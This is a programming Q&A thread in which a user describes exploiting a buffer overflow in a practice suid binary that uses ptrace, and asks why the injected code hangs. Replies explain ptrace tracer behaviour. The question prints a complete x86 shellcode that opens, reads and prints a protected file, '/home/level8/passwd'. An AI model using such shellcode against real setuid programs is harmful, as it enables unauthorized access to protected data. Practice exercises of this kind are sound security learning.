1

I'm trying for fun to exploit a code which uses ptrace to prevent debugging.
This executable is suid, therefore there's no use in cracking it. It have also the stack segment executable. This executable is made for playing.
After I found my self a vulnerability in it, I tried buffer overflow it. I wrote a shellcode which launches a shell, and with my surprise it hangs. (BASH reports the process have been stopped)
After some tests, I ended up to the conclusion that ptrace do not only prevents debugging, but it also prevents my shellcode to get executed.
Reading about ptrace, I found that a process which invokes ptrace(PTRACE_TRACEME,0,1,0) will be stoped as soon as it invokes the syscall exec. So I changed strategy, since ptrace will stop the process as soon as it launches an executable, I tried a shellcode which reads a file. My objective is not launch a shell, but instead read a file which my user have no permission. At last, this code also hanged.

Can anyone explain me why my code, in spite it contains no exec call, it gets hanged?
Is there any way to stop the ptrace from within the process itself?
In my case, ptraced process have no parent, and it is running with higher privileges, cause the suid, how can it be controlled?

Here my code which should not contains any exec.

Here my shell code:

0:  31 c0                   xor    eax,eax
2:  31 db                   xor    ebx,ebx
4:  31 c9                   xor    ecx,ecx
6:  31 d2                   xor    edx,edx
8:  eb 38                   jmp    0x42
a:  5b                      pop    ebx
b:  c6 43 13 01             mov    BYTE PTR [ebx+0x13],0x1
f:  fe 4b 13                dec    BYTE PTR [ebx+0x13]
12: b0 05                   mov    al,0x5
14: 31 c9                   xor    ecx,ecx
16: cd 80                   int    0x80
18: 89 c6                   mov    esi,eax
1a: eb 06                   jmp    0x22
1c: b0 01                   mov    al,0x1
1e: 31 db                   xor    ebx,ebx
20: cd 80                   int    0x80
22: 89 f3                   mov    ebx,esi
24: b0 03                   mov    al,0x3
26: 83 ec 01                sub    esp,0x1
29: 89 e1                   mov    ecx,esp
2b: b2 01                   mov    dl,0x1
2d: cd 80                   int    0x80
2f: 31 db                   xor    ebx,ebx
31: 39 c3                   cmp    ebx,eax
33: 74 e7                   je     0x1c
35: b0 04                   mov    al,0x4
37: b3 01                   mov    bl,0x1
39: b2 01                   mov    dl,0x1
3b: cd 80                   int    0x80
3d: 83 c4 01                add    esp,0x1
40: eb e0                   jmp    0x22
42: e8 c3 ff ff ff          call   0xa
47:                         db '/home/level8/passwd'
Alessandro
  • 598
  • 1
  • 7
  • 18
  • Most likely it crashed, BUT when a process is being ptraced, then when it crashes it tells the tracer first, but in this case the tracer is the same process, so it's a deadlock. – user253751 Jun 08 '16 at 00:07
  • @Alessandro: It is not a critic or anything like this, just an advice, but this question would be more suitable on [RE.SE](https://reverseengineering.stackexchange.com/) (I am shamelessly making some advertisement for RE.SE! :)). – perror Apr 21 '17 at 08:41

1 Answers1

0

I believe you have a core misunderstanding of how ptrace works.

When the process stops after calling execve, that is a good thing. It means your debugger gets a chance to change things around, both before and after the execve.

It seems to me like you wrote ptrace(PTRACE_TRACEME) in the child, but you have not implemented any of the parent side support you should have. As a result, as soon as ptrace is trying to notify the debugger of an event, your process stops and never restarts.

Shachar Shemesh
  • 8,193
  • 6
  • 25
  • 57